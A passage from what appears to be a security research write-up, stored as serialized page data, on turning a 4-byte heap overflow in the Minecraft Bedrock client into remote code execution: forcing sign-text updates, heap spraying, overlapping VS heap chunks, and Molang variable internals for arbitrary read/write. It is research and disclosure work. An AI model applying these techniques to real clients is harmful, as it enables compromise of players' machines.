client to update the sign text - the branch we want to reach every time.",{"type":22,"tag":31,"props":153621,"children":153622},{},[153623,153625,153630,153632,153638],{"type":28,"value":153624},"To force execution down this path, we patched the ",{"type":22,"tag":114,"props":153626,"children":153628},{"className":153627},[],[153629],{"type":28,"value":153595},{"type":28,"value":153631}," instruction to an unconditional ",{"type":22,"tag":114,"props":153633,"children":153635},{"className":153634},[],[153636],{"type":28,"value":153637},"jmp",{"type":28,"value":153639},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":22,"tag":31,"props":153641,"children":153642},{},[153643],{"type":22,"tag":5928,"props":153644,"children":153646},{"alt":52519,"src":153645},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":22,"tag":31,"props":153648,"children":153649},{},[153650,153652,153657,153659,153664],{"type":28,"value":153651},"After patching the server and calling ",{"type":22,"tag":114,"props":153653,"children":153655},{"className":153654},[],[153656],{"type":28,"value":151761},{"type":28,"value":153658}," with a size of ",{"type":22,"tag":114,"props":153660,"children":153662},{"className":153661},[],[153663],{"type":28,"value":60089},{"type":28,"value":153665},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":22,"tag":31,"props":153667,"children":153668},{},[153669],{"type":22,"tag":5928,"props":153670,"children":153672},{"alt":52519,"src":153671},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":22,"tag":20760,"props":153674,"children":153675},{},[],{"type":22,"tag":31,"props":153677,"children":153678},{},[153679],{"type":28,"value":153680},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":22,"tag":31,"props":153682,"children":153683},{},[153684],{"type":28,"value":153685},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":22,"tag":1289,"props":153687,"children":153689},{"id":153688},"overlapping-heap-chunks",[153690],{"type":28,"value":153691},"Overlapping Heap Chunks",{"type":22,"tag":31,"props":153693,"children":153694},{},[153695,153697,153702],{"type":28,"value":153696},"The attack is described in detail in the referenced blog post (",{"type":22,"tag":42,"props":153698,"children":153700},{"href":151505,"rel":153699},[46],[153701],{"type":28,"value":1377},{"type":28,"value":153703},"), so we will present a high-level overview.",{"type":22,"tag":31,"props":153705,"children":153706},{},[153707,153709,153715],{"type":28,"value":153708},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":22,"tag":114,"props":153710,"children":153712},{"className":153711},[],[153713],{"type":28,"value":153714},"_HEAP_VS_CHUNK_HEADER",{"type":28,"value":153716}," structure layout is required:",{"type":22,"tag":107,"props":153718,"children":153720},{"code":153719},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[153721],{"type":22,"tag":114,"props":153722,"children":153723},{"__ignoreMap":7},[153724],{"type":28,"value":153719},{"type":22,"tag":31,"props":153726,"children":153727},{},[153728,153730,153736,153738,153744,153745,153751,153752,153758,153760,153765,153767,153772,153774,153780,153782,153787,153789,153795],{"type":28,"value":153729},"At offset 0 there is a header ",{"type":22,"tag":114,"props":153731,"children":153733},{"className":153732},[],[153734],{"type":28,"value":153735},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":28,"value":153737}," containing fields such as ",{"type":22,"tag":114,"props":153739,"children":153741},{"className":153740},[],[153742],{"type":28,"value":153743},"MemoryCost",{"type":28,"value":231},{"type":22,"tag":114,"props":153746,"children":153748},{"className":153747},[],[153749],{"type":28,"value":153750},"UnsafeSize",{"type":28,"value":231},{"type":22,"tag":114,"props":153753,"children":153755},{"className":153754},[],[153756],{"type":28,"value":153757},"UnsafePrevSize",{"type":28,"value":153759},", etc. For the attack we only care about the ",{"type":22,"tag":114,"props":153761,"children":153763},{"className":153762},[],[153764],{"type":28,"value":153750},{"type":28,"value":153766}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":22,"tag":114,"props":153768,"children":153770},{"className":153769},[],[153771],{"type":28,"value":128033},{"type":28,"value":153773},", so for a chunk of size ",{"type":22,"tag":114,"props":153775,"children":153777},{"className":153776},[],[153778],{"type":28,"value":153779},"0x4010",{"type":28,"value":153781}," the value of ",{"type":22,"tag":114,"props":153783,"children":153785},{"className":153784},[],[153786],{"type":28,"value":153750},{"type":28,"value":153788}," would be ",{"type":22,"tag":114,"props":153790,"children":153792},{"className":153791},[],[153793],{"type":28,"value":153794},"0x401",{"type":28,"value":292},{"type":22,"tag":31,"props":153797,"children":153798},{},[153799,153800,153805],{"type":28,"value":66158},{"type":22,"tag":114,"props":153801,"children":153803},{"className":153802},[],[153804],{"type":28,"value":153750},{"type":28,"value":153806}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":22,"tag":31,"props":153808,"children":153809},{},[153810,153812,153817,153819,153824,153826,153832,153834,153839],{"type":28,"value":153811},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":22,"tag":114,"props":153813,"children":153815},{"className":153814},[],[153816],{"type":28,"value":153750},{"type":28,"value":153818}," in the smallest possible VS chunk (",{"type":22,"tag":114,"props":153820,"children":153822},{"className":153821},[],[153823],{"type":28,"value":153779},{"type":28,"value":153825},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":22,"tag":114,"props":153827,"children":153829},{"className":153828},[],[153830],{"type":28,"value":153831},"[0x10, 0xffff0]",{"type":28,"value":153833}," range, the probability that it exceeds ",{"type":22,"tag":114,"props":153835,"children":153837},{"className":153836},[],[153838],{"type":28,"value":153779},{"type":28,"value":153840}," is:",{"type":22,"tag":107,"props":153842,"children":153844},{"code":153843},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[153845],{"type":22,"tag":114,"props":153846,"children":153847},{"__ignoreMap":7},[153848],{"type":28,"value":153843},{"type":22,"tag":31,"props":153850,"children":153851},{},[153852],{"type":28,"value":153853},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":22,"tag":31,"props":153855,"children":153856},{},[153857],{"type":28,"value":153858},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":22,"tag":1899,"props":153860,"children":153862},{"id":153861},"overlap-attack-overview",[153863],{"type":28,"value":153864},"Overlap Attack Overview",{"type":22,"tag":31,"props":153866,"children":153867},{},[153868,153870,153875],{"type":28,"value":153869},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":22,"tag":114,"props":153871,"children":153873},{"className":153872},[],[153874],{"type":28,"value":128056},{"type":28,"value":153876}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":22,"tag":31,"props":153878,"children":153879},{},[153880,153882,153887,153889,153894],{"type":28,"value":153881},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":22,"tag":114,"props":153883,"children":153885},{"className":153884},[],[153886],{"type":28,"value":149764},{"type":28,"value":153888},"-sized chunks in the free list that we want to avoid. If a ",{"type":22,"tag":114,"props":153890,"children":153892},{"className":153891},[],[153893],{"type":28,"value":149764},{"type":28,"value":153895},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":22,"tag":31,"props":153897,"children":153898},{},[153899,153901,153906],{"type":28,"value":153900},"To remove those ",{"type":22,"tag":114,"props":153902,"children":153904},{"className":153903},[],[153905],{"type":28,"value":149764},{"type":28,"value":153907},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":22,"tag":31,"props":153909,"children":153910},{},[153911],{"type":28,"value":153912},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":22,"tag":107,"props":153914,"children":153916},{"code":153915},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[153917],{"type":22,"tag":114,"props":153918,"children":153919},{"__ignoreMap":7},[153920],{"type":28,"value":153915},{"type":22,"tag":31,"props":153922,"children":153923},{},[153924,153926,153931,153933,153938],{"type":28,"value":153925},"Next we create ",{"type":22,"tag":4764,"props":153927,"children":153928},{},[153929],{"type":28,"value":153930},"holes",{"type":28,"value":153932}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":22,"tag":114,"props":153934,"children":153936},{"className":153935},[],[153937],{"type":28,"value":149764},{"type":28,"value":153939},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":22,"tag":107,"props":153941,"children":153943},{"code":153942},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[153944],{"type":22,"tag":114,"props":153945,"children":153946},{"__ignoreMap":7},[153947],{"type":28,"value":153942},{"type":22,"tag":31,"props":153949,"children":153950},{},[153951,153953,153958,153960,153965],{"type":28,"value":153952},"When a ",{"type":22,"tag":114,"props":153954,"children":153956},{"className":153955},[],[153957],{"type":28,"value":149764},{"type":28,"value":153959}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":22,"tag":114,"props":153961,"children":153963},{"className":153962},[],[153964],{"type":28,"value":153750},{"type":28,"value":153966}," field will be overwritten:",{"type":22,"tag":107,"props":153968,"children":153970},{"code":153969},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[153971],{"type":22,"tag":114,"props":153972,"children":153973},{"__ignoreMap":7},[153974],{"type":28,"value":153969},{"type":22,"tag":31,"props":153976,"children":153977},{},[153978,153980,153985,153987,153992,153994,153999],{"type":28,"value":153979},"Once ",{"type":22,"tag":114,"props":153981,"children":153983},{"className":153982},[],[153984],{"type":28,"value":153750},{"type":28,"value":153986}," has been overwritten, ",{"type":22,"tag":114,"props":153988,"children":153990},{"className":153989},[],[153991],{"type":28,"value":149764},{"type":28,"value":153993}," allocation is freed immediately after, restoring the previous layout but with ",{"type":22,"tag":114,"props":153995,"children":153997},{"className":153996},[],[153998],{"type":28,"value":153750},{"type":28,"value":154000}," field corrupted:",{"type":22,"tag":107,"props":154002,"children":154004},{"code":154003},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[154005],{"type":22,"tag":114,"props":154006,"children":154007},{"__ignoreMap":7},[154008],{"type":28,"value":154003},{"type":22,"tag":31,"props":154010,"children":154011},{},[154012],{"type":28,"value":154013},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":22,"tag":107,"props":154015,"children":154017},{"code":154016},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[154018],{"type":22,"tag":114,"props":154019,"children":154020},{"__ignoreMap":7},[154021],{"type":28,"value":154016},{"type":22,"tag":31,"props":154023,"children":154024},{},[154025],{"type":28,"value":154026},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":22,"tag":107,"props":154028,"children":154030},{"code":154029},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[154031],{"type":22,"tag":114,"props":154032,"children":154033},{"__ignoreMap":7},[154034],{"type":28,"value":154029},{"type":22,"tag":20760,"props":154036,"children":154037},{},[],{"type":22,"tag":31,"props":154039,"children":154040},{},[154041],{"type":28,"value":154042},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":22,"tag":31,"props":154044,"children":154045},{},[154046],{"type":28,"value":154047},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":22,"tag":1289,"props":154049,"children":154051},{"id":154050},"molang",[154052],{"type":28,"value":154053},"Molang",{"type":22,"tag":31,"props":154055,"children":154056},{},[154057,154059,154066],{"type":28,"value":154058},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":22,"tag":42,"props":154060,"children":154063},{"href":154061,"rel":154062},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[46],[154064],{"type":28,"value":154065},"syntax guide",{"type":28,"value":292},{"type":22,"tag":31,"props":154068,"children":154069},{},[154070,154072,154077,154078,154083],{"type":28,"value":154071},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":22,"tag":114,"props":154073,"children":154075},{"className":154074},[],[154076],{"type":28,"value":302},{"type":28,"value":12991},{"type":22,"tag":114,"props":154079,"children":154081},{"className":154080},[],[154082],{"type":28,"value":17659},{"type":28,"value":154084}," operators are supported.",{"type":22,"tag":31,"props":154086,"children":154087},{},[154088,154090,154096,154098,154103,154105,154110,154111,154116,154117],{"type":28,"value":154089},"Variables are defined by prepending ",{"type":22,"tag":114,"props":154091,"children":154093},{"className":154092},[],[154094],{"type":28,"value":154095},"variable.",{"type":28,"value":154097}," to the name and assigning a value. For example, to define ",{"type":22,"tag":114,"props":154099,"children":154101},{"className":154100},[],[154102],{"type":28,"value":11081},{"type":28,"value":154104}," as the sum of ",{"type":22,"tag":114,"props":154106,"children":154108},{"className":154107},[],[154109],{"type":28,"value":42},{"type":28,"value":12991},{"type":22,"tag":114,"props":154112,"children":154114},{"className":154113},[],[154115],{"type":28,"value":5243},{"type":28,"value":1319},{"type":22,"tag":114,"props":154118,"children":154120},{"className":154119},[],[154121],{"type":28,"value":154122},"variable.result = variable.a + variable.b;",{"type":22,"tag":31,"props":154124,"children":154125},{},[154126,154128,154133,154134,154139,154140,154145,154146,154151],{"type":28,"value":154127},"Logical operators such as ",{"type":22,"tag":114,"props":154129,"children":154131},{"className":154130},[],[154132],{"type":28,"value":24373},{"type":28,"value":231},{"type":22,"tag":114,"props":154135,"children":154137},{"className":154136},[],[154138],{"type":28,"value":2187},{"type":28,"value":231},{"type":22,"tag":114,"props":154141,"children":154143},{"className":154142},[],[154144],{"type":28,"value":559},{"type":28,"value":231},{"type":22,"tag":114,"props":154147,"children":154149},{"className":154148},[],[154150],{"type":28,"value":12460},{"type":28,"value":154152},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":22,"tag":107,"props":154154,"children":154156},{"code":154155},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[154157],{"type":22,"tag":114,"props":154158,"children":154159},{"__ignoreMap":7},[154160],{"type":28,"value":154155},{"type":22,"tag":31,"props":154162,"children":154163},{},[154164],{"type":28,"value":154165},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":22,"tag":1899,"props":154167,"children":154169},{"id":154168},"molang-internals",[154170],{"type":28,"value":154171},"Molang Internals",{"type":22,"tag":31,"props":154173,"children":154174},{},[154175],{"type":28,"value":154176},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":22,"tag":31,"props":154178,"children":154179},{},[154180],{"type":28,"value":154181},"Below we describe the structures involved and their memory layout.",{"type":22,"tag":1899,"props":154183,"children":154185},{"id":154184},"molangvariable-and-molangscriptarg",[154186],{"type":28,"value":154187},"MolangVariable and MolangScriptArg",{"type":22,"tag":31,"props":154189,"children":154190},{},[154191,154192,154198],{"type":28,"value":103947},{"type":22,"tag":114,"props":154193,"children":154195},{"className":154194},[],[154196],{"type":28,"value":154197},"MolangVariable",{"type":28,"value":154199}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":22,"tag":107,"props":154201,"children":154203},{"code":154202,"language":5169,"meta":7,"className":18481,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[154204],{"type":22,"tag":114,"props":154205,"children":154206},{"__ignoreMap":7},[154207,154219,154226,154238,154251,154259,154266,154273,154285,154298,154310,154340,154348,154355,154362],{"type":22,"tag":118,"props":154208,"children":154209},{"class":120,"line":121},[154210,154214],{"type":22,"tag":118,"props":154211,"children":154212},{"style":146},[154213],{"type":28,"value":11399},{"type":22,"tag":118,"props":154215,"children":154216},{"style":125},[154217],{"type":28,"value":154218}," MolangVariable {\n",{"type":22,"tag":118,"props":154220,"children":154221},{"class":120,"line":142},[154222],{"type":22,"tag":118,"props":154223,"children":154224},{"style":125},[154225],{"type":28,"value":63727},{"type":22,"tag":118,"props":154227,"children":154228},{"class":120,"line":177},[154229,154233],{"type":22,"tag":118,"props":154230,"children":154231},{"style":146},[154232],{"type":28,"value":8062},{"type":22,"tag":118,"props":154234,"children":154235},{"style":125},[154236],{"type":28,"value":154237}," HashedString {\n",{"type":22,"tag":118,"props":154239,"children":154240},{"class":120,"line":195},[154241,154246],{"type":22,"tag":118,"props":154242,"children":154243},{"style":146},[154244],{"type":28,"value":154245},"        uint64_t",{"type":22,"tag":118,"props":154247,"children":154248},{"style":125},[154249],{"type":28,"value":154250}," variable_name_hash;\n",{"type":22,"tag":118,"props":154252,"children":154253},{"class":120,"line":244},[154254],{"type":22,"tag":118,"props":154255,"children":154256},{"style":125},[154257],{"type":28,"value":154258},"        std::string variable_name;\n",{"type":22,"tag":118,"props":154260,"children":154261},{"class":120,"line":253},[154262],{"type":22,"tag":118,"props":154263,"children":154264},{"style":125},[154265],{"type":28,"value":40938},{"type":22,"tag":118,"props":154267,"children":154268},{"class":120,"line":263},[154269],{"type":22,"tag":118,"props":154270,"children":154271},{"style":125},[154272],{"type":28,"value":63727},{"type":22,"tag":118,"props":154274,"children":154275},{"class":120,"line":318},[154276,154280],{"type":22,"tag":118,"props":154277,"children":154278},{"style":146},[154279],{"type":28,"value":8062},{"type":22,"tag":118,"props":154281,"children":154282},{"style":125},[154283],{"type":28,"value":154284}," MolangScriptArg {\n",{"type":22,"tag":118,"props":154286,"children":154287},{"class":120,"line":351},[154288,154293],{"type":22,"tag":118,"props":154289,"children":154290},{"style":146},[154291],{"type":28,"value":154292},"        uint32_t",{"type":22,"tag":118,"props":154294,"children":154295},{"style":125},[154296],{"type":28,"value":154297}," value_type;\n",{"type":22,"tag":118,"props":154299,"children":154300},{"class":120,"line":359},[154301,154305],{"type":22,"tag":118,"props":154302,"children":154303},{"style":146},[154304],{"type":28,"value":154245},{"type":22,"tag":118,"props":154306,"children":154307},{"style":125},[154308],{"type":28,"value":154309}," value;\n",{"type":22,"tag":118,"props":154311,"children":154312},{"class":120,"line":368},[154313,154318,154322,154326,154331,154335],{"type":22,"tag":118,"props":154314,"children":154315},{"style":125},[154316],{"type":28,"value":154317},"        std::vector",{"type":22,"tag":118,"props":154319,"children":154320},{"style":210},[154321],{"type":28,"value":559},{"type":22,"tag":118,"props":154323,"children":154324},{"style":146},[154325],{"type":28,"value":11399},{"type":22,"tag":118,"props":154327,"children":154328},{"style":125},[154329],{"type":28,"value":154330}," MolangScriptArg",{"type":22,"tag":118,"props":154332,"children":154333},{"style":210},[154334],{"type":28,"value":12460},{"type":22,"tag":118,"props":154336,"children":154337},{"style":125},[154338],{"type":28,"value":154339}," struct_fields;\n",{"type":22,"tag":118,"props":154341,"children":154342},{"class":120,"line":384},[154343],{"type":22,"tag":118,"props":154344,"children":154345},{"style":125},[154346],{"type":28,"value":154347},"        \n",{"type":22,"tag":118,"props":154349,"children":154350},{"class":120,"line":417},[154351],{"type":22,"tag":118,"props":154352,"children":154353},{"style":125},[154354],{"type":28,"value":125635},{"type":22,"tag":118,"props":154356,"children":154357},{"class":120,"line":425},[154358],{"type":22,"tag":118,"props":154359,"children":154360},{"style":125},[154361],{"type":28,"value":40938},{"type":22,"tag":118,"props":154363,"children":154364},{"class":120,"line":441},[154365],{"type":22,"tag":118,"props":154366,"children":154367},{"style":125},[154368],{"type":28,"value":4277},{"type":22,"tag":31,"props":154370,"children":154371},{},[154372,154374,154379],{"type":28,"value":154373},"In memory a ",{"type":22,"tag":114,"props":154375,"children":154377},{"className":154376},[],[154378],{"type":28,"value":154197},{"type":28,"value":154380}," instance resembles:",{"type":22,"tag":107,"props":154382,"children":154384},{"code":154383},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[154385],{"type":22,"tag":114,"props":154386,"children":154387},{"__ignoreMap":7},[154388],{"type":28,"value":154383},{"type":22,"tag":31,"props":154390,"children":154391},{},[154392],{"type":28,"value":154393},"For reference, example debugger view of the layout:",{"type":22,"tag":31,"props":154395,"children":154396},{},[154397],{"type":22,"tag":5928,"props":154398,"children":154400},{"alt":52519,"src":154399},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":22,"tag":31,"props":154402,"children":154403},{},[154404],{"type":28,"value":154405},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":22,"tag":31,"props":154407,"children":154408},{},[154409,154411,154417,154419,154424,154426,154432,154434,154439,154440,154445,154447,154452,154453,154459,154460,154466],{"type":28,"value":154410},"We only care about the ",{"type":22,"tag":114,"props":154412,"children":154414},{"className":154413},[],[154415],{"type":28,"value":154416},"MolangScriptArg",{"type":28,"value":154418}," beginning at offset ",{"type":22,"tag":114,"props":154420,"children":154422},{"className":154421},[],[154423],{"type":28,"value":130514},{"type":28,"value":154425}," because it contains variable values. In the screenshot above, the ",{"type":22,"tag":114,"props":154427,"children":154429},{"className":154428},[],[154430],{"type":28,"value":154431},"value_type",{"type":28,"value":154433}," at ",{"type":22,"tag":114,"props":154435,"children":154437},{"className":154436},[],[154438],{"type":28,"value":130514},{"type":28,"value":7511},{"type":22,"tag":114,"props":154441,"children":154443},{"className":154442},[],[154444],{"type":28,"value":6036},{"type":28,"value":154446}," (meaning float), and the ",{"type":22,"tag":114,"props":154448,"children":154450},{"className":154449},[],[154451],{"type":28,"value":41093},{"type":28,"value":154433},{"type":22,"tag":114,"props":154454,"children":154456},{"className":154455},[],[154457],{"type":28,"value":154458},"0x38",{"type":28,"value":7511},{"type":22,"tag":114,"props":154461,"children":154463},{"className":154462},[],[154464],{"type":28,"value":154465},"0xbf2070c8",{"type":28,"value":292},{"type":22,"tag":31,"props":154468,"children":154469},{},[154470,154472,154478,154480,154485,154487,154492,154493,154498,154500,154505,154507,154512],{"type":28,"value":154471},"During assignment, such as ",{"type":22,"tag":114,"props":154473,"children":154475},{"className":154474},[],[154476],{"type":28,"value":154477},"variable.a = variable.b",{"type":28,"value":154479},", each field of ",{"type":22,"tag":114,"props":154481,"children":154483},{"className":154482},[],[154484],{"type":28,"value":154416},{"type":28,"value":154486}," is copied from variable ",{"type":22,"tag":114,"props":154488,"children":154490},{"className":154489},[],[154491],{"type":28,"value":5243},{"type":28,"value":58717},{"type":22,"tag":114,"props":154494,"children":154496},{"className":154495},[],[154497],{"type":28,"value":42},{"type":28,"value":154499},". Interestingly, the ",{"type":22,"tag":114,"props":154501,"children":154503},{"className":154502},[],[154504],{"type":28,"value":41093},{"type":28,"value":154506}," field is always copied as a ",{"type":22,"tag":114,"props":154508,"children":154510},{"className":154509},[],[154511],{"type":28,"value":57575},{"type":28,"value":154513}," even if the type is a 32-bit float.",{"type":22,"tag":31,"props":154515,"children":154516},{},[154517,154519,154525],{"type":28,"value":154518},"Each entity stores its variables in a per-entity vector called ",{"type":22,"tag":114,"props":154520,"children":154522},{"className":154521},[],[154523],{"type":28,"value":154524},"MolangVariableMap",{"type":28,"value":292},{"type":22,"tag":1899,"props":154527,"children":154529},{"id":154528},"molangvariablemap",[154530],{"type":28,"value":154524},{"type":22,"tag":31,"props":154532,"children":154533},{},[154534,154539,154541,154547,154549,154555],{"type":22,"tag":114,"props":154535,"children":154537},{"className":154536},[],[154538],{"type":28,"value":154524},{"type":28,"value":154540}," is simply a ",{"type":22,"tag":114,"props":154542,"children":154544},{"className":154543},[],[154545],{"type":28,"value":154546},"std::vector\u003CMolangVariable *>",{"type":28,"value":154548}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":22,"tag":114,"props":154550,"children":154552},{"className":154551},[],[154553],{"type":28,"value":154554},"std::vector",{"type":28,"value":154556}," layout:",{"type":22,"tag":107,"props":154558,"children":154560},{"code":154559,"language":5169,"meta":7,"className":18481,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[154561],{"type":22,"tag":114,"props":154562,"children":154563},{"__ignoreMap":7},[154564,154576,154592,154608,154624],{"type":22,"tag":118,"props":154565,"children":154566},{"class":120,"line":121},[154567,154571],{"type":22,"tag":118,"props":154568,"children":154569},{"style":146},[154570],{"type":28,"value":11399},{"type":22,"tag":118,"props":154572,"children":154573},{"style":125},[154574],{"type":28,"value":154575}," vector {\n",{"type":22,"tag":118,"props":154577,"children":154578},{"class":120,"line":142},[154579,154583,154587],{"type":22,"tag":118,"props":154580,"children":154581},{"style":146},[154582],{"type":28,"value":18514},{"type":22,"tag":118,"props":154584,"children":154585},{"style":210},[154586],{"type":28,"value":11815},{"type":22,"tag":118,"props":154588,"children":154589},{"style":125},[154590],{"type":28,"value":154591},"buf;\n",{"type":22,"tag":118,"props":154593,"children":154594},{"class":120,"line":177},[154595,154599,154603],{"type":22,"tag":118,"props":154596,"children":154597},{"style":146},[154598],{"type":28,"value":18514},{"type":22,"tag":118,"props":154600,"children":154601},{"style":210},[154602],{"type":28,"value":11815},{"type":22,"tag":118,"props":154604,"children":154605},{"style":125},[154606],{"type":28,"value":154607},"len;\n",{"type":22,"tag":118,"props":154609,"children":154610},{"class":120,"line":195},[154611,154615,154619],{"type":22,"tag":118,"props":154612,"children":154613},{"style":146},[154614],{"type":28,"value":18514},{"type":22,"tag":118,"props":154616,"children":154617},{"style":210},[154618],{"type":28,"value":11815},{"type":22,"tag":118,"props":154620,"children":154621},{"style":125},[154622],{"type":28,"value":154623},"cap;\n",{"type":22,"tag":118,"props":154625,"children":154626},{"class":120,"line":244},[154627],{"type":22,"tag":118,"props":154628,"children":154629},{"style":125},[154630],{"type":28,"value":4277},{"type":22,"tag":31,"props":154632,"children":154633},{},[154634,154639,154641,154646,154648,154654,154656,154661,154662,154667],{"type":22,"tag":114,"props":154635,"children":154637},{"className":154636},[],[154638],{"type":28,"value":151720},{"type":28,"value":154640}," points to the allocated array of elements, ",{"type":22,"tag":114,"props":154642,"children":154644},{"className":154643},[],[154645],{"type":28,"value":11137},{"type":28,"value":154647}," points just past the last used element, and ",{"type":22,"tag":114,"props":154649,"children":154651},{"className":154650},[],[154652],{"type":28,"value":154653},"cap",{"type":28,"value":154655}," points to the end of the allocated buffer. Notably, the types of ",{"type":22,"tag":114,"props":154657,"children":154659},{"className":154658},[],[154660],{"type":28,"value":11137},{"type":28,"value":12991},{"type":22,"tag":114,"props":154663,"children":154665},{"className":154664},[],[154666],{"type":28,"value":154653},{"type":28,"value":154668}," aren't typical integer types for sizes, but both are pointers.",{"type":22,"tag":31,"props":154670,"children":154671},{},[154672],{"type":28,"value":154673},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":22,"tag":107,"props":154675,"children":154677},{"code":154676},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[154678],{"type":22,"tag":114,"props":154679,"children":154680},{"__ignoreMap":7},[154681],{"type":28,"value":154676},{"type":22,"tag":31,"props":154683,"children":154684},{},[154685,154687,154693,154695,154701],{"type":28,"value":154686},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., 